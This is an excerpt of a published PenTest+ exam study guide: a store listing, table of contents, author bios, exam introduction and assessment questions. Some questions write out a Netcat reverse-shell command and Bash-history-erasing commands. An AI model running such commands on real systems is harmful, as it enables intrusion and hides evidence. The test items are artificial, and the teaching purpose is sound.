50,99 €
Prepare for the CompTIA PenTest+ certification exam and improve your information security job performance with Sybex
In the newly revised third edition of the CompTIA PenTest+ Study Guide: Exam PT0-003, renowned information security professionals Mike Chapple, Rob Shimonski, and David Seidl deliver a comprehensive and up-to-date roadmap to succeeding on the challenging PenTest+ certification exam. Freshly updated to track the latest changes made to Exam PT0-003, the book will prepare you not just for the test, but for your first day at your first or next information security job.
From penetration testing to vulnerability management and assessment, the authors cover every competency tested by the qualification exam. You'll also find:
Succeed on the PT0-003 exam the first time. Grab a copy of CompTIA PenTest+ Study Guide and walk into the test—or your new information security job—with confidence.
Sie lesen das E-Book in den Legimi-Apps auf:
Seitenzahl: 957
Veröffentlichungsjahr: 2025
Cover
Table of Contents
Title Page
Copyright
Dedication
Acknowledgments
About the Authors
About the Technical Editor
Introduction
CompTIA
The PenTest+ Exam
What Does This Book Cover?
CompTIA PenTest+ Certification Exam Objectives
How to Contact the Publisher
Assessment Test
Answers to Assessment Test
Chapter 1: Penetration Testing
What Is Penetration Testing?
Reasons for Penetration Testing
Who Performs Penetration Tests?
The CompTIA Penetration Testing Process
The Cyber Kill Chain
Tools of the Trade
Summary
Exam Essentials
Lab Exercises
Chapter 2: Planning and Scoping Penetration Tests
Summarizing Pre‐engagement Activities
Shared Responsibility Model
Key Legal Concepts for Penetration Tests
Regulatory Compliance Considerations
Penetration Testing Standards and Methodologies
Threat Modeling Frameworks
Summary
Exam Essentials
Lab Exercises
Review Questions
Chapter 3: Information Gathering
Reconnaissance and Enumeration
Active Reconnaissance and Enumeration
Summary
Exam Essentials
Lab Exercises
Review Questions
Chapter 4: Vulnerability Scanning
Identifying Vulnerability Management Requirements
Configuring and Executing Vulnerability Scans
Software Security Testing
Developing a Remediation Workflow
Overcoming Barriers to Vulnerability Scanning
Summary
Exam Essentials
Lab Exercises
Review Questions
Chapter 5: Analyzing Vulnerability Scans
Reviewing and Interpreting Scan Reports
Validating Scan Results
Common Vulnerabilities
Summary
Exam Essentials
Lab Exercises
Review Questions
Chapter 6: Exploit and Pivot
Exploits and Attacks
Pivoting and Lateral Movement
Exploitation Toolkits and Tools
Exploit Specifics
Leveraging Exploits
Persistence and Evasion
Covering Your Tracks
Summary
Exam Essentials
Lab Exercises
Review Questions
Chapter 7: Exploiting Network Vulnerabilities
Identifying Exploits
Conducting Network Exploits
Exploiting Windows Services
Identifying and Exploiting Common Services
Wireless Exploits
Summary
Exam Essentials
Lab Exercises
Review Questions
Chapter 8: Exploiting Physical and Social Vulnerabilities
Exploiting Physical Vulnerabilities
Exploiting Social Vulnerabilities
Summary
Exam Essentials
Lab Exercises
Review Questions
Chapter 9: Exploiting Application Vulnerabilities
Exploiting Injection Vulnerabilities
Exploiting Authentication Vulnerabilities
Exploiting Authorization Vulnerabilities
Exploiting Web Application Vulnerabilities
Unsecure Coding Practices
Application Testing Tools
Summary
Exam Essentials
Lab Exercises
Review Questions
Chapter 10: Exploiting Host Vulnerabilities
Attacking Hosts
Credential Attacks and Testing Tools
Remote Access
Attacking Virtual Machines and Containers
Attacking Cloud Technologies
Attacking Mobile Devices
Attacking Artificial Intelligence (AI)
Attacking IoT, ICS, Embedded Systems, and SCADA Devices
Attacking Data Storage
Summary
Exam Essentials
Lab Exercises
Review Questions
Chapter 11: Reporting and Communication
The Importance of Collaboration and Communication
Recommending Mitigation Strategies
Writing a Penetration Testing Report
Wrapping Up the Engagement
Summary
Exam Essentials
Lab Exercises
Review Questions
Chapter 12: Scripting for Penetration Testing
Scripting and Penetration Testing
Variables, Arrays, and Substitutions
Comparison Operations
String Operations
Flow Control
Input and Output (I/O)
Error Handling
Reusing Code
The Role of Coding in Penetration Testing
Summary
Exam Essentials
Lab Exercises
Review Questions
Appendix A: Answers to Review Questions
Chapter 2: Planning and Scoping Penetration Tests
Chapter 3: Information Gathering
Chapter 4: Vulnerability Scanning
Chapter 5: Analyzing Vulnerability Scans
Chapter 6: Exploit and Pivot
Chapter 7: Exploiting Network Vulnerabilities
Chapter 8: Exploiting Physical and Social Vulnerabilities
Chapter 9: Exploiting Application Vulnerabilities
Chapter 10: Exploiting Host Vulnerabilities
Chapter 11: Reporting and Communication
Chapter 12: Scripting for Penetration Testing
Appendix B: Solution to Lab Exercise
Solution to Activity 5.2: Analyzing a CVSS Vector
Index
End User License Agreement
Chapter 3
TABLE 3.1 Common ports and services
Chapter 5
TABLE 5.1 CVSS attack vector metric
TABLE 5.2 CVSS attack complexity metric
TABLE 5.3 CVSS attack requirements metric
TABLE 5.4 CVSS privileges required metric
TABLE 5.5 CVSS user interaction metric
TABLE 5.6 CVSS confidentiality metrics
TABLE 5.7 CVSS integrity metrics
TABLE 5.8 CVSS availability metrics
TABLE 5.9 CVSS Qualitative Severity Rating Scale
Chapter 6
TABLE 6.1 Metasploit exploit quality ratings
TABLE 6.2 Metasploit search terms
Chapter 1
FIGURE 1.1 The CIA triad
FIGURE 1.2 The DAD triad
FIGURE 1.3 CompTIA penetration testing stages
FIGURE 1.4 The Cyber Kill Chain framework
Chapter 2
FIGURE 2.1 A logical dataflow diagram
FIGURE 2.2 Microsoft Shared Responsibility Matrix
Chapter 3
FIGURE 3.1 nslookup for Netflix.com
FIGURE 3.2 WHOIS of 52.41.111.100
FIGURE 3.3
tracert
of Netflix.com
FIGURE 3.4 Shodan result from an exposed Cisco device
FIGURE 3.5 Censys IOS host view
FIGURE 3.6 A Google search for
passwords.xls
FIGURE 3.7 Zenmap topology view
FIGURE 3.8 Scapy packet crafting for a TCP ping
FIGURE 3.9 ARP query and response
FIGURE 3.10 Nmap scan using OS identification
FIGURE 3.11 Nmap output of a Windows 10 system
FIGURE 3.12 Harvesting emails using Metasploit
FIGURE 3.13 Using the Wayback Machine
FIGURE 3.14 Using recon‐ng
FIGURE 3.15 Using Censys.io
FIGURE 3.16 Using DNSDumpster
FIGURE 3.17 Mapping the attack surface
FIGURE 3.18 Using theHarvester
FIGURE 3.19 Using WiGLE.net
FIGURE 3.20 Using OSINT Framework
Chapter 4
FIGURE 4.1 FIPS 199 Standards
FIGURE 4.2 Qualys asset map
FIGURE 4.3 Configuring a Nessus scan
FIGURE 4.4 Sample Nessus scan report
FIGURE 4.5 Nessus scan templates
FIGURE 4.6 Disabling unused plug‐ins
FIGURE 4.7 Configuring authenticated scanning
FIGURE 4.8 Choosing a scan appliance
FIGURE 4.9 National Cyber Awareness System Vulnerability Summary
FIGURE 4.10 Setting automatic updates in Nessus
FIGURE 4.11 Acunetix web application scan vulnerability report
FIGURE 4.12 Nikto web application scan results
FIGURE 4.13 Nessus web application scanner
FIGURE 4.14 Vulnerability management life cycle
FIGURE 4.15 Qualys scan performance settings
Chapter 5
FIGURE 5.1 Nessus vulnerability scan report
FIGURE 5.2 Qualys vulnerability scan report
FIGURE 5.3 OpenVAS vulnerability scan report
FIGURE 5.4 CVSS 4.0 Calculator
FIGURE 5.5 Scan report showing vulnerabilities and best practices
FIGURE 5.6 Vulnerability trend analysis
FIGURE 5.7 Missing patch vulnerability
FIGURE 5.8 Unsupported operating system vulnerability
FIGURE 5.9 Code execution vulnerability
FIGURE 5.10 FTP cleartext authentication vulnerability
FIGURE 5.11 Debug mode vulnerability
FIGURE 5.12 Outdated SSL version vulnerability
FIGURE 5.13 Insecure SSL cipher vulnerability
FIGURE 5.14 Invalid certificate warning
FIGURE 5.15 DNS amplification vulnerability
FIGURE 5.16 Internal IP disclosure vulnerability
FIGURE 5.17 Inside a virtual host
FIGURE 5.18 SQL injection vulnerability
FIGURE 5.19 Cross‐site scripting vulnerability
Chapter 6
FIGURE 6.1 OpenVAS/Greenbone vulnerability report
FIGURE 6.2 Pivoting
FIGURE 6.3 Distributed Ruby vulnerability
FIGURE 6.4
phpinfo()
output accessible
FIGURE 6.5
phpinfo.php
output
FIGURE 6.6 The Metasploit console
FIGURE 6.7 Running
show exploits
in Metasploit
FIGURE 6.8 Selecting an exploit
FIGURE 6.9 Setting module options
FIGURE 6.10 Successful exploit
FIGURE 6.11 Using the command prompt
FIGURE 6.12 WMImplant WMI tools
FIGURE 6.13 CrackMapExec's main screen
FIGURE 6.14 Responder capture flow
FIGURE 6.15 Pass‐the‐hash flow
FIGURE 6.16 John the Ripper
Chapter 7
FIGURE 7.1 Double‐tagged Ethernet packet
FIGURE 7.2 Yersinia 802.1q attack selection
FIGURE 7.3 DNS cache poisoning attack
FIGURE 7.4 ARP spoofing
FIGURE 7.5 Manually configuring a MAC address in Windows 10
FIGURE 7.6 Metasploit SYN flood
FIGURE 7.7 NetBIOS name service attack
FIGURE 7.8 Responder sending poisoned answers
FIGURE 7.9 Responder capturing hashes
FIGURE 7.10 Output from
snmpwalk
FIGURE 7.11 THC Hydra SSH brute‐force attack
FIGURE 7.12 WiGLE map showing access point density in a metropolitan area
FIGURE 7.13 RFID cloner and tags
Chapter 8
FIGURE 8.1 A typical security vestibule design
FIGURE 8.2 SET menu
FIGURE 8.3 SET loading the Metasploit reverse TCP handler
FIGURE 8.4 BeEF hooked browser detail
FIGURE 8.5 BeEF commands usable in a hooked browser
Chapter 9
FIGURE 9.1 Web application firewall
FIGURE 9.2 Account number input page
FIGURE 9.3 Account information page
FIGURE 9.4 Account information page after blind SQL injection
FIGURE 9.5 Account creation page
FIGURE 9.6 Zyxel router default password
FIGURE 9.7 Session authentication with cookies
FIGURE 9.8 Session cookie from CNN.com
FIGURE 9.9 Session hijacking with cookies
FIGURE 9.10 Kerberos authentication process
FIGURE 9.11 Example web server directory structure
FIGURE 9.12 Directory scanning with DirBuster
FIGURE 9.13 Message board post rendered in a browser
FIGURE 9.14 XSS attack rendered in a browser
FIGURE 9.15 SQL error disclosure
FIGURE 9.16 Zed Attack Proxy (ZAP)
FIGURE 9.17 Burp Proxy
FIGURE 9.18 Postman
FIGURE 9.19 Wfuzz performing fuzz testing
FIGURE 9.20 Gobuster DNS enumeration
FIGURE 9.21 WPScan WordPress vulnerability scanner
FIGURE 9.22 Scanning a database‐backed application with sqlmap
Chapter 10
FIGURE 10.1 SUID files in Kali
FIGURE 10.2 SUID files with details
FIGURE 10.3 Abusing
sudo
rights
FIGURE 10.4 Checking Linux kernel version information
FIGURE 10.5 Dumping the Windows SAM with Mimikatz
FIGURE 10.6 Hashcat cracking Linux passwords
FIGURE 10.7 Metasploit reverse TCP shell
FIGURE 10.8 Detecting virtualization on a Windows system
FIGURE 10.9 Detecting virtualization on Kali Linux
FIGURE 10.10 Side‐channel attack against a virtual machine
FIGURE 10.11 A simple SCADA environment design example
Chapter 11
FIGURE 11.1 Smartphone‐based multifactor authentication
Chapter 12
FIGURE 12.1 Identifying the language of a conditional execution statement
FIGURE 12.2 Identifying the language of a
for
loop
FIGURE 12.3 Identifying the language of a
while
loop
Cover
Table of Contents
Title Page
Copyright
Dedication
Acknowledgments
About the Author
About the Technical Editor
Introduction
Assessment Test
Begin Reading
Appendix A: Answers to Review Questions
Appendix B: Solution to Lab Exercise
Index
End User License Agreement
i
v
vi
vii
ix
xi
xii
xiii
xxix
xxx
xxxi
xxxii
xxxiii
xxxiv
xxxv
xxxvi
xxxvii
xxxviii
xxxix
xl
xli
xlii
xliii
xliv
xlv
xlvi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
561
562
563
Third Edition
Mike Chapple
Robert Shimonski
David Seidl
Copyright © 2025 by John Wiley & Sons, Inc. All rights, including for text and data mining, AI training, and similar technologies, are reserved.
Published by John Wiley & Sons, Inc., Hoboken, New Jersey.
Published simultaneously in Canada and the United Kingdom.
ISBNs: 9781394285006 (paperback), 9781394285020 (ePDF), 9781394285013 (ePub)
No part of this publication may be reproduced, stored in a retrieval system, or transmitted in any form or by any means, electronic, mechanical, photocopying, recording, scanning, or otherwise, except as permitted under Section 107 or 108 of the 1976 United States Copyright Act, without either the prior written permission of the Publisher, or authorization through payment of the appropriate per‐copy fee to the Copyright Clearance Center, Inc., 222 Rosewood Drive, Danvers, MA 01923, (978) 750‐8400, fax (978) 750‐4470, or on the web at www.copyright.com. Requests to the Publisher for permission should be addressed to the Permissions Department, John Wiley & Sons, Inc., 111 River Street, Hoboken, NJ 07030, (201) 748‐6011, fax (201) 748‐6008, or online at www.wiley.com/go/permission.
The manufacturer’s authorized representative according to the EU General Product Safety Regulation is Wiley‐VCH GmbH, Boschstr. 12, 69469 Weinheim, Germany, e‐mail: [email protected].
Trademarks: WILEY, the Wiley logo, and Sybex are trademarks or registered trademarks of John Wiley & Sons, Inc. and/or its affiliates, in the United States and other countries, and may not be used without written permission. CompTIA and PenTest+ are trademarks or registered trademarks of The Computing Technology Industry Association, Inc. All other trademarks are the property of their respective owners. John Wiley & Sons, Inc. is not associated with any product or vendor mentioned in this book.
Limit of Liability/Disclaimer of Warranty: While the publisher and authors have used their best efforts in preparing this book, they make no representations or warranties with respect to the accuracy or completeness of the contents of this book and specifically disclaim any implied warranties of merchantability or fitness for a particular purpose. No warranty may be created or extended by sales representatives or written sales materials. The advice and strategies contained herein may not be suitable for your situation. You should consult with a professional where appropriate. Further, readers should be aware that websites listed in this work may have changed or disappeared between when this work was written and when it is read. Neither the publisher nor authors shall be liable for any loss of profit or any other commercial damages, including but not limited to special, incidental, consequential, or other damages.
For general information on our other products and services, please contact our Customer Care Department within the United States at (800) 762‐2974, outside the United States at (317) 572‐ 3993. For product technical support, you can find answers to frequently asked questions or reach us via live chat at https://sybexsupport.wiley.com.
Wiley also publishes its books in a variety of electronic formats. Some content that appears in print may not be available in electronic formats. For more information about Wiley products, visit our web site at www.wiley.com.
Library of Congress Control Number: 2025930423
Cover image: © Jeremy Woodhouse/Getty Images
Cover design: Wiley
This book is dedicated to Shahla Pirnia, in deepest gratitude for your unwavering dedication and meticulous care, which have shaped so many of my works. Your attention to detail and passion for excellence will always inspire me. May your legacy live on in every word we've crafted together.
— Mike
Books like this involve work from many people, and as authors, we truly appreciate the hard work and dedication that the team at Wiley shows. We would especially like to thank Senior Acquisitions Editor Kenyon Brown. We have worked with Ken on multiple projects and consistently enjoy our work with him.
We also greatly appreciated the editing and production team for the book, including Pete Gaughan, managing editor, who made sure everything worked smoothly; Christine O'Connor, our project manager, whose prompt and consistent oversight got this book out the door; and Saravanan Dakshinamurthy, our content refinement specialist, who guided us through layouts, formatting, and final cleanup to produce a great book. We'd also like to thank our technical editor, Rishalin Pillay, who provided us with thought‐provoking questions and technical insight throughout the process. We would also like to thank the many behind‐the‐scenes contributors, including the graphics, production, and technical teams who make the book and companion materials into a finished product.
Our agent, Carole Jelen of Waterside Productions, continues to provide us with wonderful opportunities, advice, and assistance throughout our writing careers.
Finally, we would like to thank our families, friends, and significant others who support us through the late evenings, busy weekends, and long hours that a book like this requires to write, edit, and get to press.
Mike Chapple, PhD, Security+, CISSP, CISA, PenTest+, CySA+, is a teaching professor of IT, analytics, and operations at the University of Notre Dame. He is also the academic director of the University's master's program in business analytics.
Mike is a cybersecurity professional with over 25 years of experience in the field. Prior to his current role, Mike served as senior director for IT service delivery at Notre Dame, where he oversaw the university's cybersecurity program, cloud computing efforts, and other areas. Mike also previously served as chief information officer of Brand Institute and as an information security researcher with the National Security Agency and the U.S. Air Force.
Mike is a frequent contributor to several magazines and websites and is the author or coauthor of more than 50 books, including CISSP Official ISC2 Study Guide (Wiley, 2024), CISSP Official ISC2 Practice Tests (Wiley, 2024), CompTIA Security+ Study Guide (Wiley, 2023), CompTIA CySA+ Study Guide (Wiley, 2023), CompTIA CySA+ Practice Tests (Wiley, 2023), and Cybersecurity: Information Operations in a Connected World (Jones and Bartlett, 2021).
Mike offers free study groups for the PenTest+, CySA+, Security+, CISSP, and other major certifications at his website, http://certmike.com.
Robert Shimonski, CASP+, CySA+, PenTest+, Security+, is a technology executive specializing in health care IT for one of the largest health systems in America. In his current role, Rob is responsible for bringing operational support and incident response into the future with the help of new technologies such as cloud and artificial intelligence. His current focus is on deploying securely to Cloud (Azure, AWS, and Google), DevOps, DevSecOps and AIOps. Rob has spent over 25 years in the technology “trenches” handling networking and security architecture, design, engineering, testing, and development efforts for global projects. A go‐to person for all things security‐related, Rob has been a major force in deploying security‐related systems for many years. Rob also worked for various companies reviewing and developing curriculum as well as other security‐related books, technical articles, and publications based on technology deployment, testing, hacking, pen testing, and many other aspects of security. Rob holds dozens of technology certifications to include 20+ CompTIA certifications, SANS.org GIAC, GSEC, and GCIH as well as many vendor‐based cloud specialized certifications from Google, Microsoft Azure, and Amazon Web Services. Rob is considered a leading expert in prepping others to achieve certification success.
David Seidl, CISSP, PenTest+, is vice president for information technology and CIO at Miami University. During his IT career, he has served in a variety of technical and information security roles, including serving as the senior director for campus technology services at the University of Notre Dame, where he co‐led Notre Dame's move to the cloud and oversaw cloud operations, ERP, databases, identity management, and a broad range of other technologies and services. He also served as Notre Dame's director of information security and led Notre Dame's information security program. He has taught information security and networking undergraduate courses as an instructor for Notre Dame's Mendoza College of Business, and he has written books on security certification and cyberwarfare, including co‐authoring the previous editions of CISSP (ISC)2Official Practice Tests (Sybex, 2018) as well as CISSP Official (ISC)2Practice Tests (Wiley, 2021), CompTIA Security+ Study Guide (Wiley, 2020), CompTIA Security+ Practice Tests (Wiley, 2020), CompTIA CySA+ Study Guide (Wiley, 2020), CompTIA CySA+ Practice Tests (Wiley, 2020), and Cybersecurity: Information Operations in a Connected World (Jones and Bartlett, 2021), and CompTIA Security+ Practice Tests: Exam SY0‐601 (Sybex, 2021), as well as other certification guides and books on information security.
David holds a bachelor's degree in communication technology and a master's degree in information security from Eastern Michigan University, as well as CISSP, CySA+, PenTest+, GPEN, and GCIH certifications.
Rishalin Pillay is a seasoned cybersecurity expert with extensive experience in offensive security, cloud security, threat, and incident response, and is recognized as a trusted authority in the field. As an accomplished Pluralsight author, he has created in‐depth courses like Red Team Tools and Threat Protection, and has authored or coauthored influential books such as Learn Penetration Testing (Packt Publishing, 2019), Ethical Hacking Workshop (Packt Publishing, 2023), and Offensive Shellcode from Scratch (Packt Publishing, 2022). Additionally, Rishalin has contributed to numerous publications on topics including dark web analysis, Kali Linux, security operations, and essential study guides for networking and Microsoft technologies. His dedication to advancing the field has earned him prestigious accolades, including the Microsoft Content Publisher Gold and Platinum awards and the Event Speaker Gold award, reflecting his impactful presence as a writer, educator, and Tier‐1 business event speaker. Whether through writing, teaching, or presenting, Rishalin continues to make a lasting impact on the cybersecurity industry.
The CompTIA®PenTest+® Study Guide: Exam PT0‐003, Third Edition, provides accessible explanations and real‐world knowledge about the exam objectives that make up the PenTest+ certification. This book will help you to assess your knowledge before taking the exam, as well as provide a stepping‐stone to further learning in areas where you may want to expand your skill set or expertise.
Before you tackle the PenTest+ exam, you should already be a security practitioner. CompTIA suggests that test‐takers should have intermediate‐level skills based on their cybersecurity pathway. You should also be familiar with at least some of the tools and techniques described in this book. You don't need to know every tool, but understanding how to use existing experience to approach a new scenario, tool, or technology that you may not know is critical to passing the PenTest+ exam.
CompTIA is a nonprofit trade organization that offers certification in a variety of IT areas, ranging from the skills that a PC support technician needs, which are covered in the A+ exam, to advanced certifications like the SecurityX, certification. CompTIA divides its exams into categories based on what topics it covers, as shown in the following table:
Core
Infrastructure
Cybersecurity
Tech+ A+ Network+ Security+
Cloud+ Linux+ Server+
CySA+ SecurityX PenTest+
CompTIA recommends that practitioners follow a cybersecurity career path that begins with Tech+ and A+ certifications and proceeds to include the Network+ and Security+ credentials to complete the core skills. From there, cybersecurity professionals may choose the PenTest+ and/or Cybersecurity Analyst+ (CySA+) certifications before attempting the SecurityX certification as a capstone credential.
The CySA+ and PenTest+ exams are more advanced exams, intended for professionals with hands‐on experience who also possess the knowledge covered by the prior exams.
CompTIA certifications are ISO/ANAB accredited, and they are used throughout multiple industries as a measure of technical skill and knowledge. In addition, CompTIA certifications, including the Security+ and the SecurityX, have been approved by the U.S. government as Information Assurance baseline certifications and are included in the State Department's Skills Incentive Program.
The PenTest+ exam is designed to be a vendor‐neutral certification for penetration testers. It is intended to assess penetration testing engagement, reconnaissance, vulnerability assessment, and attacks and exploits, with a focus on network resiliency testing. Successful test‐takers will prove their ability plan and scope assessments, handle legal and compliance requirements, and perform vulnerability scanning and penetration testing activities using a variety of tools and techniques, and then analyze the results of those activities.
It covers five major domains:
Engagement Management
Reconnaissance and Enumeration
Vulnerability Discovery and Analysis
Attacks and Exploits
Post‐exploitation and Lateral Movement
These five areas include a range of subtopics, from scoping penetration tests to performing host enumeration and exploits, while focusing heavily on scenario‐based learning.
The PenTest+ exam fits between the entry‐level Security+ exam and the SecurityX (formerly CompTIA Advanced Security Practitioner [CASP+]) certification, providing a mid‐career certification for those who are seeking the next step in their certification and career path while specializing in pentesting or vulnerability management.
The PenTest+ exam is conducted in a format that CompTIA calls “performance‐based questions (PBQs).” This means that the exam uses hands‐on simulations using actual security tools and scenarios to perform tasks that match those found in the daily work of a security practitioner. There may be numerous types of exam questions, such as multiple‐choice, fill‐in‐the‐blank, multiple‐response, drag‐and‐drop, and image‐based problems.
CompTIA recommends that test‐takers have three or four years of experience as a penetration tester before taking this exam. As of 2024, the exam costs $404 in the United States, with roughly equivalent prices in other locations around the globe. More details about the PenTest+ exam and how to take it can be found at:
https://www.comptia.org/certifications/pentest
A test preparation book like this cannot teach you every possible security software package, scenario, and specific technology that may appear on the exam. Instead, you should focus on whether you are familiar with the type or category of technology, tool, process, or scenario presented as you read the book. If you identify a gap, you may want to find additional tools to help you learn more about those topics.
Additional resources for hands‐on exercises include the following:
Exploit-Exercises.com
provides virtual machines, documentation, and challenges covering a wide range of security issues at
https://exploit-exercises.com
.
Hacking‐Lab provides capture‐the‐flag (CTF) exercises in a variety of fields at
https://hacking-lab.com
.
The OWASP Hacking Lab provides excellent web application–focused exercises at
https://owasp.org/www-project-hacking-lab
.
PentesterLab provides a subscription‐based access to penetration testing exercises at
https://pentesterlab.com/exercises
.
Since the exam uses scenario‐based learning, expect the questions to involve analysis and thought rather than relying on simple memorization. As you might expect, it is impossible to replicate that experience in a book, so the questions here are intended to help you be confident that you know the topic well enough to think through hands‐on exercises.
Once you are fully prepared to take the exam, you can visit the CompTIA website to purchase your exam voucher:
http://store.comptia.org
Currently, CompTIA offers two options for taking the exam: an in‐person exam at a testing center and an at‐home exam that you take on your own computer.
This book includes a coupon that you may use to save 10 percent on your CompTIA exam registration.
CompTIA partners with Pearson VUE's testing centers, so your next step will be to locate a testing center near you. In the United States, you can do this based on your address or your ZIP code, while non‐U.S. test takers may find it easier to enter their city and country. You can search for a test center near you at the Pearson VUE website, where you will need to navigate to “Find a test center.”
https://www.pearsonvue.com/us/en/comptia.html
Now that you know where you'd like to take the exam, simply use the link on that site to set up a testing account and schedule an exam.
On the day of the test, take two forms of identification, and make sure to show up with plenty of time before the exam starts. Remember that you will not be able to take your notes, electronic devices (including smartphones and watches), or other materials in with you.
CompTIA began offering online exam proctoring in 2020 through the OnVUE program. Candidates using this approach will take the exam at their home or office and be proctored over a webcam by a remote proctor. For more information on the at‐home testing option, visit:
https://www.pearsonvue.com/us/en/comptia/onvue.html
The OnVUE platform requires specialized software. Be sure to run the OnVUE system test before you register for an online exam. This will save you problems if your system is not compatible with the software.
Once you have taken the exam, you will be notified of your score immediately, so you'll know if you passed the test right away. You should keep track of your score report with your exam registration records and the email address you used to register for the exam. If you've passed, you'll receive a handsome certificate, similar to the one shown here:
CompTIA certifications must be renewed on a periodic basis. To renew your certification, you can either pass the most current version of the exam, earn a qualifying higher‐level CompTIA or industry certification, or complete sufficient continuing education activities to earn enough continuing education units (CEUs) to renew it.
If you're considering taking the PenTest+ exam, you should have already taken and passed the CompTIA Security+ and Network+ exams or have equivalent experience—typically at least three to four years of experience in the field. You may also already hold other equivalent or related certifications. The following assessment test will help to make sure you have the knowledge that you need before you tackle the PenTest+ certification, and it will help you determine where you may want to spend the most time with this book.
Ricky is conducting a penetration test against a web application and is looking for potential vulnerabilities to exploit. Which of the following vulnerabilities does not commonly exist in web applications?
SQL injection
VM escape
Buffer overflow
Cross‐site scripting
What specialized type of legal document is often used to protect the confidentiality of data and other information that penetration testers may encounter?
An SOW
An NDA
An MSA
A noncompete
Chris is assisting Ricky with his penetration test and would like to extend the vulnerability search to include the use of dynamic testing. Which one of the following tools can he use as an interception proxy?
ZAP
Nessus
SonarQube
OllyDbg
Matt is part of a penetration testing team and is using a standard toolkit developed by his team. He is executing a password cracking script named
password.sh
. What language is this script most likely written in?
PowerShell
Bash
Ruby
Python
Renee is conducting a penetration test and discovers evidence that one of the systems she is exploring was already compromised by an attacker. What action should she take immediately after confirming her suspicions?
Record the details in the penetration testing report.
Remediate the vulnerability that allowed her to gain access.
Report the potential compromise to the client.
No further action is necessary because Renee's scope of work is limited to penetration testing.
Which of the following vulnerability scanning methods will provide the most accurate detail during a scan?
Unknown environment
Authenticated
Internal view
External view
Annie wants to cover her tracks after compromising a Linux system. If she wants to permanently remove evidence of the commands she inputs to a Bash shell, which of the following commands should she use?
history ‐c
kill ‐9 $$
echo "" > /~/.bash_history
ln /dev/null ~/.bash_history ‐sf
Kaiden would like to perform an automated web application security scan of a new system before it is moved into production. Which one of the following tools is best suited for this task?
Nmap
Nikto
Wireshark
CeWL
Steve is engaged in a penetration test and is gathering information without actively scanning or otherwise probing his target. What type of information is he gathering?
OSINT
HSI
Background
None of the above
Which of the following activities constitutes a violation of integrity?
Systems were taken offline, resulting in a loss of business income.
Sensitive or proprietary information was changed or deleted.
Protected information was accessed or exfiltrated.
Sensitive personally identifiable information was accessed or exfiltrated.
Ted wants to scan a remote system using Nmap and uses the following command:
nmap 149.89.80.0/24
How many TCP ports will he scan?
256
1,000
1,024
65,535
Brian is conducting a thorough technical review of his organization's web servers. He is specifically looking for signs that the servers may have been breached in the past. What term best describes this activity?
Penetration testing
Vulnerability scanning
Remediation
Threat hunting
Liam executes the following command on a compromised system:
nc 10.1.10.1 7337 -e /bin/sh
What has he done?
Started a reverse shell using Netcat
Captured traffic on the Ethernet port to the console via Netcat
Set up a bind shell using Netcat
None of the above
Dan is attempting to use VLAN hopping to send traffic to VLANs other than the one he is on. What technique does the following diagram show?
A double jump
A powerhop
Double tagging
VLAN squeezing
Alaina wants to conduct an on‐path attack against a target system. What technique can she use to make it appear that she has the IP address of a trusted server?
ARP spoofing
IP proofing
DHCP pirating
Spoofmastering
Michael's social engineering attack relies on telling the staff members he contacts that others have provided the information that he is requesting. What motivation technique is he using?
Authority
Scarcity
Likeness
Social proof
Vincent wants to gain access to workstations at his target but cannot find a way into the building. What technique can he use to do this if he is also unable to gain access remotely or on‐site via the network?
Shoulder surfing
Kerberoasting
USB key drop
Quid pro quo
Jennifer is reviewing files in a directory on a Linux system and sees a file listed with the following attributes. What has she discovered?
-rwsr-xr—1 root kismet 653905 Nov 4 2016 /usr/bin/kismet_capture
An encrypted file
A hashed file
A SUID file
A SIP file
Which of the following tools is best suited to querying data provided by organizations like the American Registry for Internet Numbers (ARIN) as part of a footprinting or reconnaissance exercise?
Nmap
Traceroute
regmon
Whois
Chris believes that the Linux system he has compromised is a virtual machine. Which of the following techniques will not provide useful hints about whether or not the system is a VM?
Run
system‐detect‐virt
.
Run
ls ‐l /dev/disk/by‐id
.
Run
wmic
baseboard to get manufacturer, product.
Run
dmidecode
to retrieve hardware information.
B. Web applications commonly experience SQL injection, buffer overflow, and cross‐site scripting vulnerabilities. Virtual machine (VM) escape attacks work against the hypervisor of a virtualization platform and are not generally exploitable over the web. You'll learn more about all of these vulnerabilities in
Chapters 5
and
9
.
